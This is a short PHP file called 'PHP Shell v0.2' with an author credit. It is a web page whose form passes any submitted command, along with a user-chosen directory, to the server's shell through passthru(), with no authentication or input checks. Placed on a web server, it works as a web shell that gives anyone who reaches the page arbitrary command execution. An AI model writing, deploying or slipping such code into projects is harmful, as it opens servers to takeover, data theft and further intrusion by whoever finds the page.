<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
  <title>PHP Shell v0.2</title>
  <meta name="author" content="Alexander Griesser [tuxx@tuxx-home.at]">
  <meta name="generator" content="http://www.vim.org">
</head>
<body>
<h1>PHP Shell v0.2<br>
<font size="-1">by Alexander Griesser &lt;<a href="mailto:php-shell@tuxx-home.at">php-shell@tuxx-home.at</a>&gt;</font></h1>

<?php
if(!isset($directory))
  $directory = '/';
else
{
  if(!preg_match('/.*\/$/', $directory))
    $directory .= '/';
}
if(preg_match('/^cd (.*)/', $command, $resbuf))
{
  if(!preg_match('/^\/.*/', $resbuf[1]))
    $directory .= $resbuf[1];
  else
    $directory = $resbuf[1];
}

echo "<small>[Current Directory: $directory]</small><br><br>";

echo '
<form action="' . $PHP_SELF . '" method="post">
  Command: <input type="text" size="80" name="command">
           <input type="hidden" name="directory" value="' . $directory . '">
</form>';

if(isset($command))
{
  echo '<pre><hr><xmp>';
  passthru("cd $directory; $command");
}
?>